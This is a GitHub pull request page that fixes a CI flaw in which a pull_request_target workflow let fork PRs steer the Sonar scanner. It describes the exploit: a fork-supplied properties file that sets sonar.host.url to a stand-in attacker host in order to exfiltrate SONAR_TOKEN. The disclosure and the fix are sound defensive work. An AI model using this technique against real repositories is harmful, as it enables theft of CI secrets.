security(ci): fix SONAR_TOKEN exfiltration in sonar_fork_pr (pull_request_target + fork-controlled scanner config)#3376
Merged
Conversation
…nar_fork_pr The sonar_fork_pr job in .github/workflows/quality.yml (introduced in #3213) ran under pull_request_target, checked out the fork's PR HEAD into pr/, then invoked the Sonar scanner with projectBaseDir pointing at that fork-controlled directory while SONAR_TOKEN and GITHUB_TOKEN were in the environment. The scanner resolves sonar-project.properties from projectBaseDir, so a fork PR could ship its own properties file overriding sonar.host.url and have the scanner authenticate to an attacker-controlled host — leaking SONAR_TOKEN in the Authorization header. Reported externally on 2026-05-18. Fix splits trusted and untrusted work along the GitHub-recommended pattern: * .github/workflows/quality.yml - drop the pull_request_target trigger entirely - drop the sonar_fork_pr job entirely - in the existing (secret-less) fork build, upload coverage.xml + PR metadata + a source tarball as a 3-day artifact - fork-controlled values pass through env vars + jq, never inline ${{ }} interpolation into a run: block * .github/workflows/sonar-fork-pr.yml (new) - workflow_run trigger (always uses the default-branch definition, cannot be replaced by a fork) - checks out master (trusted root sonar-project.properties) - downloads the fork artifact as DATA, validates pr-meta.json fields against strict regexes, cross-checks pr_number and head_sha with the GitHub-supplied workflow_run context - runs the scanner from the trusted base root with sonar.host.url / .organization / .projectKey pinned on the CLI (CLI overrides any properties file, belt + suspenders) - feeds PR source as -Dsonar.sources only — never as scanner config SONAR_TOKEN must be rotated in SonarCloud independently of this commit; the job has been exploitable on public master since 2025-10-06. Refs: #3213
Contributor
Author
|
@Copilot — appreciate the look, but this is a misdiagnosis. Quick rebuttal so the record is clean:
Re-running the failed job. No code change needed in this PR — and adding Refocus on the actual change: does the |
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.



Summary
The
sonar_fork_prjob in.github/workflows/quality.yml(introduced in #3213) is a classicpull_request_targetpwn-request: it runs in trusted repository context withSONAR_TOKENandGITHUB_TOKENin the environment, but invokes the Sonar scanner against fork-controlled content withprojectBaseDirpointing inside the fork checkout.A fork PR can ship
pr/sonar-project.propertiescontainingsonar.host.url=https://attacker.example/and the scanner will POSTSONAR_TOKENto the attacker host in theAuthorization: Bearer …header. This is direct credential exfiltration, not a theoretical concern — the scanner resolves its properties file fromprojectBaseDir, and the trusted rootsonar-project.propertiesis bypassed by that setting.The vulnerability has been live on
mastersince 2025-10-06 (PR #3213, commit1bd1815f). Reported externally on 2026-05-18.Action required outside this PR
SONAR_TOKENin SonarCloud + the repo secret. The token has been exposed for ~7 months on a public repo; assume it is burned until proven otherwise. SonarCloud cannot retroactively log off-platformsonar.host.urluse because the scanner would have sent the token to the attacker's host, not to SonarCloud, so rotation is the only safe move.mitre_calderaSonarCloud project state (issue mutes, quality-gate edits, comment decoration) for unexplained changes from a token that should have only been used by CI.Fix
Splits trusted and untrusted work along the GitHub-recommended
pull_request+workflow_runpattern..github/workflows/quality.ymlpull_request_targettrigger. Nothing in this workflow legitimately needs trusted context against PR-controlled content.sonar_fork_prjob entirely.coverage.xml, a sanitizedpr-meta.json, and a source tarball as a 3-day artifact for the trusted scanner workflow to consume.head.ref,head.repo.full_name, etc.) are passed through env vars +jq— never${{ }}-interpolated directly into arun:block (actionlint-clean)..github/workflows/sonar-fork-pr.yml(new)workflow_runon "Code Quality" completion. Theworkflow_runevent always uses the workflow file from the default branch, so a fork cannot replace this file.masteras the working root — the trusted rootsonar-project.propertiesis what the scanner reads.pip install, nonpm install, no execution of anything from the fork.pr-meta.jsonfield against strict regexes, and cross-checkspr_number/head_shaagainst the GitHub-suppliedworkflow_runcontext (which is trusted) before passing any value to a CLI arg.sonar.host.url,sonar.organization,sonar.projectKeyon the scanner CLI (CLI args override properties files in Sonar Scanner — belt + suspenders).-Dsonar.sources=pr-src/apponly — as files to analyse, never as config that steers the scanner.Test plan
Code Qualitystill runs onpush/ non-forkpull_requestand the inlineSonarQube Scanstep still produces a SonarCloud analysis.Code Qualitybuild job runs without secrets, uploads thesonar-fork-prartifact for the3.13matrix leg.SonarQube Scan (Fork PR)(sonar-fork-pr.yml) triggers onworkflow_run, downloads the artifact, validates metadata, and produces a PR-decorated SonarCloud analysis.sonar-project.propertieswith a bogussonar.host.urlat repo root — the new workflow's pinned-Dsonar.host.url=https://sonarcloud.ioCLI arg should win, and the scan should still hit SonarCloud (verifies CLI-override precedence).SONAR_TOKENhas been rotated in repo secrets before this PR is merged.Refs
Deacon mp patch SonarC, 2025-10-06)